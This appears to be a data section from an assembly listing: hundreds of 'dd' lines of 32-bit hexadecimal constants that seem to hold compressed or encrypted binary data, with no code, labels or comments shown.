		dd 0ED260700h, 740C6C23h, 0E50A002Ah, 9E0851Dh,	649A384Eh
		dd 0F882BD00h, 9F75CCCAh, 0B79C097Ch, 0CC806678h, 0ABE19681h
		dd 9984DD00h, 41B2D55Ch, 0B7EB003Ch, 746FDA02h,	2D02A040h
		dd 84457178h, 74847520h, 0A0C8050h, 0CB583361h,	0CC1873CAh
		dd 0C5891C5h, 81416EACh, 0A7FC1EE0h, 0F300B970h, 92C07CDh
		dd 46B6D7h, 1482A2B3h, 93E6AB5Dh, 763816F8h, 6714FB41h
		dd 12D508F7h, 80184A19h, 4C14E898h, 0A016F4D2h,	12370FF7h
		dd 0FAB03922h, 0D1408042h, 0B3186364h, 0BDBCDABCh, 0E57231h
		dd 0D6BF7ABBh, 0A56804F7h, 4B4F9900h, 2444190Ch, 4878000Bh
		dd 39818FF3h, 0D900C314h, 0D538BD69h, 0DCF675h,	887D0AFh
		dd 544C724h, 6B079E00h,	10B12397h, 839907D2h, 2090C6BBh
		dd 0CD46C1A0h, 80F0D13Eh, 0E8A5FC9Fh, 571157Eh,	6B840CDCh
		dd 2E9C0032h, 0AC0D985Eh, 0E6977C50h, 1AB34B06h, 180DA39h
		dd 0C617907Dh, 0FB440452h, 7B339CB8h, 0A3D8A250h, 0C2CE3D00h
		dd 0E5AF8EFh, 4E751C17h, 0EAD78013h, 0C1A5242Dh, 50E4BE01h
		dd 4265E535h, 0A7AEE8h,	0A21F7936h, 96F3C5F4h, 60D0F200h
		dd 0A3AD866Ch, 440C0FA4h, 4FE2BE17h, 0D0C03578h, 9F3BD6CBh
		dd 2C222C1Ah, 23735F00h, 0A379A0h, 1103B490h, 0E261AC3Fh
		dd 5E363901h, 0C08F6E69h, 3BC9708Fh, 2D922FE0h,	14F0CB0Ch
		dd 0FABF9A00h, 2BF1E7ACh, 0C31200B6h, 9D9B545Fh, 0F00B5734h
		dd 0ED8544h, 0B6230AE3h, 2FDF0468h, 0C013BEA6h,	893C5050h
		dd 3400E0B2h, 0FB419FD1h, 98B3BC17h, 5AA31430h,	0EA00AD58h
		dd 0C31E2506h, 2C0BA53Dh, 0F3168E2h, 0B939E025h, 99EC8B6h
		dd 0F7FEC7FAh, 47183800h, 0DF00AE07h, 3F4C565h,	0C1196357h
		dd 0BA82ED78h, 0EA12E864h, 0B9278400h, 8138AEB5h, 2C200C0h
		dd 0BFF46B2Fh, 0B300ED08h, 0E9FF0C42h, 4B559B8h, 5EE1E577h
		dd 4004C784h, 1FF3477Dh, 0AA6ED500h, 0B639032Bh, 0D10C07B1h
		dd 609134D6h, 0F35B9FDDh, 0C400EEE2h, 3ED7B705h, 19F52Fh
		dd 654F2BCCh, 41DBFFF6h, 27891400h, 97CFC939h, 15C60E3Fh
		dd 0FD80F8F9h, 0DB3AFE48h, 2865500h, 0E7FB5B1Dh, 3DD40038h
		dd 0CF15168Dh, 26EAACEFh, 29822400h, 968AB1E9h,	16AAE683h
		dd 0ACDE1CF4h, 0A41F00CEh, 0F5545CADh, 943E0181h, 9E11D162h
		dd 0DE5F2088h, 5B3CB77Eh, 5C00F86Bh, 9F73A64Ch,	176C82Ah
		dd 639AB6A1h, 0F0EA46A3h, 82F46D60h, 808C7C58h,	0DDE5758Ah
		dd 1BEE00C8h, 4E377DEAh, 79004441h, 0FE72CE7Ah,	0DB2B10h
		dd 115C94A4h, 3C043BB3h
		dd 0D3435600h, 5EBF7D54h, 24C00063h, 0B525A20Dh, 3C00A7ADh
		dd 5CC64CB3h, 4DEFEC4Dh, 9000E086h, 1BCF623Ah, 3000A5AAh
		dd 87A7375Fh, 48A4E1A0h, 2900347Dh, 71A1248Dh, 0F000E54Ah
		dd 9F144D38h, 7AFAD2Ch,	0CBAAC93h, 0C0D14408h, 8A3E52BBh
		dd 9CC36500h, 309E5605h, 0FA9A0BECh, 0E400F1B3h, 0AE151071h
		dd 2458A107h, 0B1A01F90h, 0ED4322h, 2636C783h, 4CB5C8DEh
		dd 1C652F07h, 4D3060BEh, 0B829C5h, 6C6A9F1Ah, 20772EFEh
		dd 12E57300h, 0B75F7805h, 0ABEA022Ah, 94C3FDE8h, 82CD4A40h
		dd 41302FEAh, 4839801Dh, 0FCA1EC55h, 34A7A9Ch, 22F9ADDCh
		dd 23F0D8E0h, 1D0017CDh, 8F3E4331h, 3CAD5135h, 0E6010866h
		dd 0BCCBC5B9h, 0DD8ED8D8h, 6452A00h, 4F4E248Ah,	3F5328B5h
		dd 63DF009Ch, 4923A60Ah, 6916DBB0h, 18014FD4h, 7527EABDh
		dd 903483E4h, 0F4551CDCh, 3021B0C9h, 0D50E5B56h, 58AABE0Dh
		dd 85D651h, 0E941671Fh,	0FFFB0FEDh, 63DD4F00h, 95877D98h
		dd 46D00EAh, 3EAECEA3h,	0C800732Ah, 8DFFE35Eh, 89C479h
		dd 40A2DECh, 30A4BCB8h,	0B5B200Ch, 223E66Dh, 0CD4B281Ch
		dd 3440FB0Eh, 0C800CFBFh, 822D5C2h, 41E278h, 0EA9B1687h
		dd 0C25A3B2h, 0E1315907h, 63D0D151h, 0A43F05h, 0C8490F93h
		dd 7AE0DABDh, 45F46626h, 91062B06h, 3AEB2C78h, 3C20076Fh
		dd 9676308Ah, 5F00EAE7h, 67DF9A26h, 2CEDD808h, 0B98936Dh
		dd 0F680376Bh, 50FD73B8h, 0A2686501h, 54713078h, 0E8FE97E4h
		dd 0AA5F1FCEh, 0AD374583h, 94C0AA36h, 3F93B6FBh, 69090A6Dh
		dd 3C801C4Ch, 1803E2B1h, 50F0870Ch, 0FC12994Ah,	0A215009Ch
		dd 2E8C8ED4h, 0E60072FDh, 0D6FC5D74h, 4B1ADFh, 85C41855h
		dd 0B534ACF5h, 0F74CE5Ch, 202999B1h, 0C8D74AB4h, 0EA9400DEh
		dd 9AC3E6CBh, 81008590h, 5EB66BD1h, 3BBD8292h, 0D784FEA7h
		dd 83288BE2h, 51976504h, 2038E13Dh, 0F50572A4h,	0F8E7A10Bh
		dd 0FB80F884h, 5B0141h,	38BF0C4Ah, 2E3A0564h, 1E732600h
		dd 0A69EB28Bh, 0AFD3008Eh, 0BFC1C2BBh, 0C00021D4h, 0D125858Dh
		dd 9C194Dh, 0EE6132E4h,	9242508Ah, 583B9800h, 59747296h
		dd 4F1C1CF8h, 0AA36433Eh, 3F8F37B9h, 90F39807h,	0AC9C56B5h
		dd 9F90460Fh, 0FCC900BBh, 0CEF7D2Dh, 3ED35403h,	10C07CC6h
		dd 1BFA6966h, 0C77501A2h, 76702A8Dh, 14C38CDh, 8813D601h
		dd 0A0405D11h, 0FF31FB3h, 0F70EBAF4h, 9076E7C5h, 10F1CE78h
		dd 0F5623407h, 1BBAB2h,	63EC0274h, 0E1FF667h, 48C16DAAh
		dd 1396142Ch, 8BD6110Ch, 77887Bh, 0A0D8CA67h, 45FC1F57h
		dd 74905674h, 40B034E8h, 0D63064F2h, 84471CFh, 0C79E00D9h
		dd 8ED84FE6h, 3E766154h, 918C0700h, 5E4078EEh, 83449CBBh
		dd 0CA76CFDEh, 931B1000h, 816415FEh, 9EA20162h,	1BFE994h
		dd 5552CC70h, 0DC47CE1Ch, 5E03BE80h, 300B9Dh, 1DDA6273h
		dd 0ADFBA03Ah, 51CAFF01h, 0C8B8612Bh, 7729838h,	6916EA74h
		dd 0FD02001Bh, 31002C38h, 0CCD74226h, 0F9A857h,	7B8A16E7h
		dd 9E0D7F84h, 20122EFEh, 0AC8019B4h, 70CFD7h, 0E539E405h
		dd 0D0A3592h, 605D3600h, 9DEA7BEh, 0C0420268h, 0ACBA3C4Ah
		dd 0A356A840h, 2B8A150Eh, 0D0B3C154h, 0B02C6035h, 756CD700h
		dd 99FE746Eh, 0A5D2B702h, 803C1E6Bh, 0FDA80D88h, 0F4C8E02Dh
		dd 8D050F8Ah, 9271AA2h,	0D4A901C5h, 2158E883h, 2EF87F03h
		dd 0F7F0920Ah, 30B40DEh, 0D9B26Fh, 0BFEC3D74h, 297B0836h
		dd 0AB1E3F0Fh, 3BEDE070h, 0A02D2CD7h, 1DA15D94h, 0C333B424h
		dd 6CD98245h, 0A3880A8Bh, 0DE00258Eh, 0F43B6BDh, 0F1261Bh
		dd 0AE453252h, 0AF1E639Bh, 349C2300h, 0E44D655Ch, 1D757AC4h
		dd 0C003097Dh, 7EE585B5h, 0FD00282Fh, 91D34117h, 35EC26Bh
		dd 4D6D8F3Ah, 0C788E301h, 85002776h, 3EABACD7h,	26699DE9h
		dd 2C8A850h, 565E121Dh,	0CC855C41h, 4B7896E7h, 0DF6EDE00h
		dd 0EF28DA72h, 0ADCF0417h, 80CDFF29h, 20EA5E00h, 8FA83F00h
		dd 44C6D2D5h, 1E8030E1h, 0A34C2248h, 0BF1A6710h, 0D45BEE00h
		dd 0A527F1FBh, 0BE77263Ch, 0C490F2B9h, 402F6248h, 0E4A41398h
		dd 0F23CD3EEh, 0C5037F74h, 0DE969F28h, 9E36F8EDh, 91A20056h
		dd 301CEAB0h, 781F34FFh, 0A9404CA6h, 0BC503EDBh, 5FB00D6h
		dd 400F111Eh, 0AE3DB71Ch, 0F713C41h, 40086214h,	1038FE09h
		dd 231200E9h, 0EAC06EF1h, 240F96F8h, 81B92B5Bh,	9233E5E3h
		dd 34C97E0h, 378A7A19h,	188C429h, 9CB031ECh, 5DFD3400h
		dd 0FFE533A7h, 0CCC848C7h, 8B081900h, 0B75EB894h, 12E9C01h
		dd 0ABCCBE5Fh, 0F6F71F8h, 64E72D7Dh, 150080B4h,	0A41B8C99h
		dd 4A00ADC4h, 51D5E3B1h, 76F6FB02h, 1EB5008Dh, 3E1356ACh
		dd 2A005A59h, 61E077DCh, 241776h, 2D638C94h, 7E1C8F25h
		dd 187C2724h, 2EDAEC00h, 2765456Ah, 0E0904375h,	0E2BF0E5Ch
		dd 8504C16Ah, 0E9E3C34h, 0B6B0628Fh, 16C0D340h,	413D06FAh
		dd 774D7207h, 1BF80074h, 7BD2CA39h, 39DC581Ah, 0C191751Ch
		dd 59A7E271h, 6800206Bh, 0BC880500h, 0AB584AB2h, 385005Ch
		dd 0E60A56E0h, 9C00D83Bh, 1EDA07EBh, 7DE0663h, 0FE603912h
		dd 26E3800Eh, 200B1DBDh, 0C1909BFDh, 0D8297418h, 347C004Eh
		dd 0C2AEE913h, 230BA603h, 0B76B85DFh, 4BB13CB0h, 0E4470079h
		dd 0DDC99B84h, 2F4CC06Ch, 6EE50004h, 9003E308h,	0CF9930F5h
		dd 49A21F18h, 7F1EE612h, 845A5400h, 68EB205h, 56AE6CBDh
		dd 0DC0928C1h, 80BE0360h, 16F128B6h, 0BB2E261h,	7E82EF8Ah
		dd 0E7F8A000h, 8700B578h, 89F37426h, 6A88BBh, 0D3CB3CD1h
		dd 0D5F67A0Ch, 39C4C900h, 6DF56F3Dh, 7F320165h,	0CC298FBh
		dd 3E25F00Ah, 0D0B2B81Dh, 8253D64Bh, 0E037FBE5h, 0EE74B8h
		dd 12B5DD44h, 10766009h, 1DEF8D01h, 28143B96h, 0E7053462h
		dd 0C089A147h, 0EA55F78Ch, 0DF3FF900h, 8BAB41E0h, 0B0E4000Fh
		dd 38CA1939h, 0D901DBD2h, 76D71C6h, 0AC74A5F1h,	4BBE07C1h
		dd 57231E36h, 0D730C7C3h, 0CF02F3B3h, 0EFD09D88h, 5749610Ah
		dd 0B040D434h, 0BA120h,	0A603F242h, 0D208047Fh,	58F9221Fh
		dd 3E4DFF01h, 276099E7h, 30500003h, 0A278A8DBh,	62038B0Dh
		dd 89E86CFCh, 0A6E6808Ah, 7E238h, 0B3947F4Ch, 81B54E71h
		dd 85FDEB00h, 6431FFE3h, 29BE1CE5h, 7A906A17h, 430C004Dh
		dd 3277CB19h, 26331D1Ah, 81BD58BEh, 48340D84h, 0DA750C4Dh
		dd 0BF188235h, 0E60087B0h, 56E9110Ch, 3AF9837h,	0B4A7290Eh
		dd 0F1D759FFh, 0C4534AB9h, 0C3397A9Fh, 3B5F0070h, 0E025B0DFh
		dd 4EEF16B3h, 1084C09Bh, 4607E42Eh, 7EC0D28Dh, 98299780h
		dd 0CFC90762h, 37EFDF21h, 0C34B4130h, 18947CFDh, 99A10C54h
		dd 44200E36h, 98E0A7DFh, 0FEF943EAh, 9F38A561h,	69803753h
		dd 0EC0B4467h, 0FB6383ABh, 0C8914E49h, 2207AC5h, 2D779A97h
		dd 10808CAEh, 41374CA2h, 0D01D1F98h, 67006344h,	79871E46h
		dd 2B58C0C3h, 0B413BE4Dh, 0F45C3B00h, 55656CD3h, 4CB20E2Ch
		dd 0BA02FECh, 0AA4624AEh, 32BA0700h, 6F82BC87h,	3A4B1DFBh
		dd 4040DDCDh, 0A72D8C2Fh, 0BA007E73h, 0D94335D1h, 170796h
		dd 5319BF74h, 0F8E59378h, 8CCEA1C0h, 545060Dh, 7BD86399h
		dd 818C4113h, 0C0AF592Dh, 9CA4E666h, 0DED2BF00h, 0AE746A40h
		dd 0C8431F8Eh, 642E2Ch,	879D6842h, 2814AF47h, 60F459A1h
		dd 0B0F5EF39h, 5FE8001Bh, 63298227h, 0A700AE99h, 93C6B476h
		dd 887733h, 4E59B052h
		dd 43F5AB15h, 66A6E21Eh, 4AE41900h, 5911F809h, 2B1DA01Ch
		dd 0D48640B0h, 9BD08EC2h, 71F4E531h, 0E0E4B11Fh, 0BCCA390Fh
		dd 409D800h, 0A1E4BD4Ch, 0FA50F000h, 72D1E5ABh,	9A75B3h
		dd 0A6112729h, 796F9EDEh, 0E6B85901h, 307387FBh, 35A48E8h
		dd 9C07144Ch, 2C90D840h, 15030F89h, 0E0F86063h,	0C80380EAh
		dd 3B71ABh, 0DF8088F1h,	9E403D49h, 28BF3537h, 53D42270h
		dd 0BDD700C1h, 0CEA18CF3h, 7539C0BBh, 0D3B8F526h, 0DAC5B20Ch
		dd 0E633061h, 0FBC9A48h, 6FEA88Fh, 79028D71h, 2BEA9B03h
		dd 0C064E9EEh, 7CF37796h, 71B900F0h, 0EBB210E7h, 0AC908C8Dh
		dd 52411900h, 0BC9559BDh, 0B773A93h, 15F1A200h,	8B71847h
		dd 0A9C065FAh, 7D7A8E62h, 0B2F08Ah, 2AFD7216h, 0A121708Dh
		dd 62D30918h, 57EC70h, 1A26367Ah, 149BFB5Dh, 5665E200h
		dd 71B0B4E7h, 0BC510342h, 0F5A72CEDh, 3C11F0DFh, 0CF31FB54h
		dd 3771C835h, 0C5AED0h,	6CD68448h, 0B6891240h, 5C753000h
		dd 781F1E1Ah, 42E40031h, 413C39D0h, 21C0C0D1h, 361FCDF3h
		dd 5DC61FDFh, 7D550CAEh, 0D8CA549h, 317B1FD9h, 0C5240241h
		dd 1FD0FA20h, 4FEACBh, 61CDD2CCh, 0BF6D92DCh, 0B001F2E8h
		dd 0BAD1F12Ch, 3CCF5B81h, 40615D21h, 0B042362Dh, 0CAB91A48h
		dd 0DC62032Ch, 4FAAA05Ah, 76EE4003h, 97CCF6Ch, 9E981029h
		dd 35A2F980h, 9C6F7B3h,	158E05Dh, 0B9EA5F0h, 0DCDB4116h
		dd 0AA18B02Fh, 8D4154ECh, 9B9F073Eh, 10DC8F34h,	0B1D6738Ch
		dd 0D2239300h, 0C06A42CFh, 3C9278B8h, 8818D001h, 0AB1EB1D4h
		dd 36296D00h, 0D1069A93h, 0D39219B7h, 0EC6A283Bh, 0E75C33EBh
		dd 0FEDB0055h, 0F07DD489h, 4BE8A7h, 0EE2C0B03h,	2D4E8222h
		dd 0E8E4F900h, 5E9C2113h, 0BA7F0096h, 0EC67B0C9h, 5C3B3A38h
		dd 9B0C8024h, 391195FAh, 0FD3600ACh, 4990C16Dh,	710048CCh
		dd 6924DC1Fh, 3EC39Eh, 0AF878E63h, 0DC43344h, 0E50A1300h
		dd 84716486h, 0F2FAD2h,	0A24354F8h, 886B4B5Fh, 55CC1800h
		dd 0C74EF7DEh, 0FB440057h, 0F9B96EAEh, 0A003D9Eh, 6AF88B17h
		dd 3BF23BD9h, 0BF80D39Dh, 55512B36h, 8700D8C9h,	4F608539h
		dd 38BADAC7h, 0C2BCB366h, 0DB1D9300h, 16264710h, 40D9A100h
		dd 0D5E1AFAAh, 1FC23EB7h, 2C74CA07h, 0F0B960D7h, 72002A25h
		dd 43F81871h, 144B890h,	15264C22h, 0E4E6E3A1h, 2406EBBFh
		dd 0DDE9C31Ah, 76120004h, 0D9EECB87h, 6D00AF29h, 3E7C0924h
		dd 0E35379h, 0ECA6D892h, 2D48446Bh, 16433C00h, 0BD31FBFh
		dd 5113007Fh, 7037C386h, 950022F9h, 67A54AC5h, 5B4185h
		dd 3F8D1E68h, 3C49FFF4h, 51342301h, 985AA58h, 7992C4h
		dd 9DE8E754h, 0EA6D43Bh, 1CE04200h, 7E215071h, 3104F487h
		dd 31297A17h, 100F123Fh, 0C8A7F15h, 84D5298Ah, 50E1F422h
		dd 208D28C9h, 0E9425574h, 11E2C211h, 41087DBDh,	6D0852E0h
		dd 0BC2D883Dh, 8C4AD188h, 8129DFE3h, 20DC3A44h,	852215BAh
		dd 22F0A34Bh, 0AB002529h, 0B16ACF80h, 0E89E8C8Fh, 86981Fh
		dd 6C86B324h, 6F839828h, 5B05A376h, 5E8EFD8Fh, 8590400h
		dd 9B241Ch, 0FF719902h,	0E830150h, 0C89CAE03h, 79219F4Ah
		dd 93460020h, 88E28041h, 9113553Ch, 0CF004520h,	84A5D715h
		dd 0F6171DA2h, 0C9DAC2B7h, 5E40AB3Ch, 0B2006968h, 86935881h
		dd 1F2D94E5h, 0C1B0E109h, 0F4244B16h, 0A8B8CBE8h, 6E006A1Ch
		dd 8F5F4021h, 0D4C1FEh,	490271A4h, 0AE2462EEh, 1670B64Ch
		dd 60C8938h, 30E738F2h,	97215AEAh, 0C40076EFh, 4F7F2D3Ch
		dd 282A43h, 3FD87217h, 0CBE63891h, 398A500h, 0BA0986DAh
		dd 0E5ECBDh, 70F4870Bh,	17AF1A15h, 1D6FFF00h, 0CA2B8156h
		dd 835B0E22h, 0F8E37DF1h, 4BD84801h, 0D3011E3Ch, 0DCBEA9B2h
		dd 7BCCD52Eh, 1A8A01B9h, 25AA442Dh, 0D003CF64h,	4A04F263h
		dd 0E170D0EFh, 0AE2B01BCh, 54C306E2h, 0CA11801Fh, 12E77AFFh
		dd 0EE1C0088h, 166B59ABh, 0A00049EAh, 0B1301D47h, 6EA6C1A4h
		dd 0C2A1C0D9h, 40B08259h, 56618180h, 54054A00h,	0DC606A9Eh
		dd 580B0009h, 0D9B2448Eh, 4D03392Bh, 61E89F84h,	0F946F093h
		dd 0D9226012h, 0EA18B175h, 0E478BDh, 0B01ED186h, 0B2458827h
		dd 0D3CE3C00h, 0C0E9DFEBh, 7ED2002Dh, 84BEAAC8h, 0F400BF07h
		dd 232E7F4Eh, 1FB4C6BCh, 54F93C57h, 9000E20Ch, 0C85EFC9Eh
		dd 0F8E0BEB5h, 7152B600h, 0D2A71378h, 7ACDEE8Fh, 4D2B0018h
		dd 371B5002h, 1DB01547h, 815CC23Ah, 89A34AB1h, 9C80B73h
		dd 0A2831CD1h, 3182802Fh, 0A78C80E8h, 961FD677h, 42C02D37h
		dd 0D88E2B9Fh, 0A4BF1C58h, 70A69CCBh, 0A2FA7809h, 0B96FB400h
		dd 3502199Ah, 34500021h, 0D7ECB518h, 9D0E116Bh,	12095CD4h
		dd 0C1920402h, 0E988808Ch, 9090FBF8h, 0B2F94878h, 0CA3FD704h
		dd 0CE87815Fh, 4ABC5049h, 74000ADEh, 135E0F69h,	0A75FECBh
		dd 0A7A4A86Bh, 5A8701A0h, 0E0EBBB2Eh, 38018F60h, 0F2366123h
		dd 3ED46BA2h, 0DFD100AFh, 765B932Fh, 2E005FC5h,	6F0EADFEh
		dd 7D494F03h, 43AA0225h, 853F23C8h, 0DF0BB2E0h,	0D994C250h
		dd 3FCF3326h, 94281919h, 0E316EC0h, 0CB020764h,	0EDCD4700h
		dd 1D0088EBh, 4011EC65h, 0E422D7C1h, 0FCA5003Ch, 0D28AB448h
		dd 0E1E8BD15h, 66019CEEh, 5A2926A8h, 28F33741h,	0B60EF0h
		dd 45EBEE9Eh, 0DC0CB6B8h, 7A7F7100h, 0D0994D5Ah, 107036Ah
		dd 85E41DB3h, 0D1460C98h, 0B43F6E1Dh, 1800B21Dh, 0CB4E6AE7h
		dd 39BAE201h, 0AF80084Ch, 0B4B33406h, 0E70C2894h, 0E175529Dh
		dd 0D35E01C9h, 0EA5A043Ah, 0E450D037h, 0C353100h, 0F10F45E0h
		dd 96AC0717h, 25F536D5h, 0D00400D4h, 0CE820615h, 8C17C5Ah
		dd 60E21DA7h, 2925488h,	49753C02h, 0F88E8F1Ah, 0F0FA7F80h
		dd 0F1EE1164h, 0AC97BD0Eh, 179680CDh, 126165ECh, 0F49208h
		dd 0E76398ACh, 1D73D880h, 822E950Bh, 0DF40070Bh, 0B1A112A0h
		dd 99F00C8h, 841D0851h,	0A81CFAE8h, 0DA0FBC06h,	975D03A9h
		dd 44158852h, 0C172001Fh, 0A3C5D398h, 900F051h,	3A638B54h
		dd 0E3E867h, 2ADEBAA4h,	1355B78h, 18C33Bh, 5FC1B347h, 0E60D6F9Ch
		dd 8E691F8Ch, 0AF1BC0E7h, 3386BFF1h, 121E1500h,	39C24C38h
		dd 4443001Ch, 8D84E371h, 2A004D0Dh, 0D86F8205h,	2F3D1Ah
		dd 1CC8F926h, 1DCBF4B9h, 2EE4BC00h, 97FF5AC0h, 70F11321h
		dd 905809C3h, 4E00108Fh, 95CC3762h, 0F62D4A1Dh,	0C2342A01h
		dd 0C4CD439Bh, 6D86B30h, 4D7F7356h, 680009A2h, 694CFCADh
		dd 0EBDC1ACh, 12AE6610h, 0B9A7A8CEh, 372CF0C3h,	0DD0050C9h
		dd 437D7C78h, 3B232DC7h, 9680172Eh, 0E29052B1h,	49007AB9h
		dd 73322AD6h, 53B011h, 0DC3C41F7h, 9F09F533h, 0E32C2F74h
		dd 0E1033412h, 0E86C3763h, 204F6Bh, 968A2562h, 1F958336h
		dd 326DE303h, 98060293h, 3FD4B1C3h, 0C9BBB0AFh,	0C038206h
		dd 12EA2030h, 0D54BF60Fh, 78F5E02Ah, 0B86B7905h, 1CD1006Ch
		dd 2FC15770h, 4700FB68h, 0ED7C0C58h, 749D26h, 1A67CD1Eh
		dd 53631AAh, 0D324A97Ch, 0E00A8EFh, 1B4C4F9Ch, 183C0016h
		dd 444DC514h, 77002EA8h, 0BFC0DED7h, 5CD95BBh, 8465D809h
		dd 0D3C80D6h, 0C2308C2Eh, 0D4B011B3h, 0C3CF0956h, 5D00779Dh
		dd 0A13691FFh, 73CE658h, 0D317ECC5h, 560A3431h,	160BE7F4h
		dd 0E52B4h, 0DE7CA3AAh,	0C600EF75h, 0EC924266h,	984B5BBh
		dd 0E431856Ch, 7E45B080h, 0C6501546h, 0F900C7E0h, 9BADFDE3h
		dd 0F4FC223Dh
		dd 0F0EB30D9h, 90F0B21h, 59315207h, 0BBC02F63h,	0F2A0F6h
		dd 5F99D797h, 3B6DF1BEh, 103C1790h, 37E09EE1h, 0FFFDF5Eh
		dd 0E0551AE4h, 0DE1D809Bh, 67A61CD1h, 8AEB40AFh, 50F1AD13h
		dd 34D9E707h, 0AB07D3h,	0E3F60DBBh, 717F0764h, 50BC9C67h
		dd 4ADB502Bh, 0C3D87750h, 0E263E400h, 0C52A6FC2h, 16DD02C8h
		dd 6C6DDABFh, 0F4DE7B41h, 1A0311CEh, 660464FFh,	996F8h
		dd 0F65C3E38h, 0DB5EF92Fh, 62759D0Ah, 0F5009055h, 0AAD31D2Ah
		dd 1B570069h, 929C9A68h, 4700E9E4h, 3936BC59h, 0D2754Ch
		dd 0C78AD1AAh, 0F1F99623h, 0B84C137Bh, 614603C4h, 0E8E66EF2h
		dd 675034h, 307AA1B5h, 0CB75A0D4h, 0B657B700h, 0B38F5D71h
		dd 988D00D8h, 3AA3356Ch, 0BB17FB15h, 36004CA4h,	8D292420h
		dd 9E2C0056h, 0B37E420Fh, 4500F326h, 0A3185ABBh, 0DFB409h
		dd 38FA51A8h, 4C524ACDh, 6DD3F814h, 0FE3B0798h,	99436A37h
		dd 80F0D330h, 1DF2673Eh, 806B3460h, 713633FAh, 720615EFh
		dd 8C1EFCD0h, 0C5D60709h, 8D6E7Ah, 75C4E376h, 98574A28h
		dd 2FB53D16h, 0E89B6800h, 0B61678h, 0E0B059DDh,	8EF6817Dh
		dd 27DB090Bh, 2B18070Ah, 2B94AEBFh, 0F2D420FFh,	5076AD96h
		dd 2680B86Bh, 80E0F66Dh, 2DC1D8F9h, 0FB0433E9h,	530D115Ch
		dd 21377891h, 0A12680C7h, 0B00300FCh, 0BE5A986Ah, 1E0156D2h
		dd 0A962548Dh, 0A883533Ah, 0A34EE9F3h, 0AB93EA0h, 7E17B400h
		dd 8D22DCE0h, 7FF7885h,	6DAD3253h, 0A2254002h, 0A098C210h
		dd 8B1F7000h, 1701ABD0h, 0E679002Fh, 0C676E98Eh, 7700251Ah
		dd 22241FE3h, 77C938A1h, 52E185Ah, 0CCB0859h, 9D2C1D39h
		dd 0F042E2F2h, 40138EC0h, 4CD946B0h, 0A11EA02Dh, 0B3E0804Dh
		dd 0C8016CBAh, 28961A50h, 65EB2E0Ah, 8E05E472h,	84D0051Ch
		dd 78F3FFC0h, 4D25CA4h,	7804EE03h, 7B91F7A2h, 1F2830B8h
		dd 0B40076E4h, 9BF523B9h, 52A3694h, 0D134468Eh,	0BAC30B8h
		dd 89FE4165h, 645E9D00h, 1EC645E6h, 0A7FF0081h,	0AAB76BFDh
		dd 4D7C94ADh, 71560917h, 0DE84003Eh, 219F2011h,	9C4449FEh
		dd 0ECB4F00h, 6DEAF653h, 0B4068E02h, 48B7AAB3h,	40CE3034h
		dd 0F0FE2E0Bh, 33002492h, 8F41BF6Bh, 0EB1957h, 0BA29ADA4h
		dd 0BDA72640h, 30274306h, 1C4AF10Eh, 811294h, 56C1F096h
		dd 0C207F3B5h, 0AE392D5Fh, 0AF98E1FEh, 688073D2h, 52D748B3h
		dd 0D41D87B9h, 3FBA69h,	8E4BAC6Bh, 7480AF97h, 302A488Bh
		dd 4875B705h, 51040E56h, 525C8400h, 790581FBh, 0DC9F28A7h
		dd 0FD48001h, 0D8009E83h, 9A12573Dh, 9440647Bh,	0B85E0C5Bh
		dd 82B70B27h, 9580C026h, 7B6C0F34h, 0EC5F0200h,	405260F3h
		dd 77EF02A9h, 14FF29C9h, 8DD16040h, 3A68CF05h, 38C038AAh
		dd 46BF0E7h, 4D6562EDh,	213C807Fh, 0ABF47429h, 0E604D490h
		dd 0B74354B9h, 35AE3C01h, 0BB19C09Eh, 234234Dh,	88614AD9h
		dd 0C99C43C1h, 0A4359CD2h, 348824h, 1D416731h, 0E3B39991h
		dd 0F6BE1007h, 0AB203EDFh, 9C175h, 8F05B779h, 1884FF19h
		dd 0FAA05705h, 8C00EB6Ah, 34028067h, 41470FAFh,	36E52BC4h
		dd 8FA400EDh, 60FE7BFDh, 7F98D3Eh, 42BE262h, 0B0B23DF0h
		dd 9132008Bh, 2694B8FAh, 37005879h, 1FD9EC4Fh, 277BACh
		dd 7A78A3B5h, 7C7655D6h, 72A1D800h, 6FA24C48h, 0DACF024Bh
		dd 0AA9A6BF2h, 93BD04A0h, 7E1CF868h, 1243A59Fh,	0ADB3A46h
		dd 96F430B0h, 0CAA1C1E4h, 0C44DC9F2h, 0B40163DFh, 3F12550Eh
		dd 0C887FBDBh, 22119498h, 0F8AE5787h, 0DCEA009Ch, 66045C7h
		dd 0E159CA00h, 67AF48DBh, 6C5A0A38h, 13DC4043h,	0D1D8C139h
		dd 0EB4EE8DCh, 3D0120B8h, 0ACBB5516h, 3CD46A38h, 9685000Dh
		dd 1366EB28h, 9B3EC6F6h, 5FAB028Eh, 0E1BDE0AAh,	43E864C5h
		dd 382A095Ah, 0A0071AA2h, 0B53F201Fh, 5007317h,	49DBEDA7h
		dd 973B60h, 99E6630Ah, 5C535E31h, 0DE20789Ah, 64730BC3h
		dd 0ECD41D38h, 0EA749020h, 0A4E267E4h, 0B555B800h, 0DC443019h
		dd 3C1D0735h, 0F0EEA949h, 55D40BFBh, 87C12738h,	474BCB3Eh
		dd 0EA0A3B20h, 0E82A30F7h, 37E97DE8h, 0BC7C7203h, 0F87BE670h
		dd 1365E7BEh, 1DDC73B6h, 0F4DB025Ch, 8CC439D4h,	9A09FC60h
		dd 0B0F96831h, 0BA5107DCh, 3040DACAh, 7F4A8F5Eh, 549B7200h
		dd 2A3CA8BCh, 9E6439AAh, 6D05A73Dh, 126FD761h, 3012A0h
		dd 222F8314h, 233875B1h, 8023CAE1h, 8FC3E3A0h, 20558FE7h
		dd 0CF50DC02h, 42810086h, 0B883D232h, 34E9D18h,	28C4CB47h
		dd 2A907EBDh, 89E4173Ch, 6A63952Ch, 23EA813Ah, 0A2626A12h
		dd 3E74982Ch, 5C848EB1h, 0D0BBCE44h, 7F1BC088h,	9E598101h
		dd 0FBA59577h, 74711880h, 0DCE9E8C4h, 0C73F4E13h, 0C84BD8C2h
		dd 2CBC5CF0h, 8040CE95h, 0E09D25C3h, 649E7096h,	889AE500h
		dd 92968FBh, 931C5A3Eh,	14A99C01h, 42FE6090h, 6F5284Ch
		dd 8302FDA1h, 7840039h,	0CCB92636h, 81481C7Bh, 88790C51h
		dd 1A9C9ABh, 0DA70BFAEh, 818B64F0h, 7E867D80h, 88D440BBh
		dd 38A9005Ch, 7F502146h, 29393025h, 0F3D3046Eh,	34C0A7CEh
		dd 324F0CBh, 0C743456Ah, 0B4910CD0h, 15D3D051h,	0C83B5400h
		dd 789D4288h, 61BF076Ch, 0F0865236h, 5007FA9Fh,	0D45A0877h
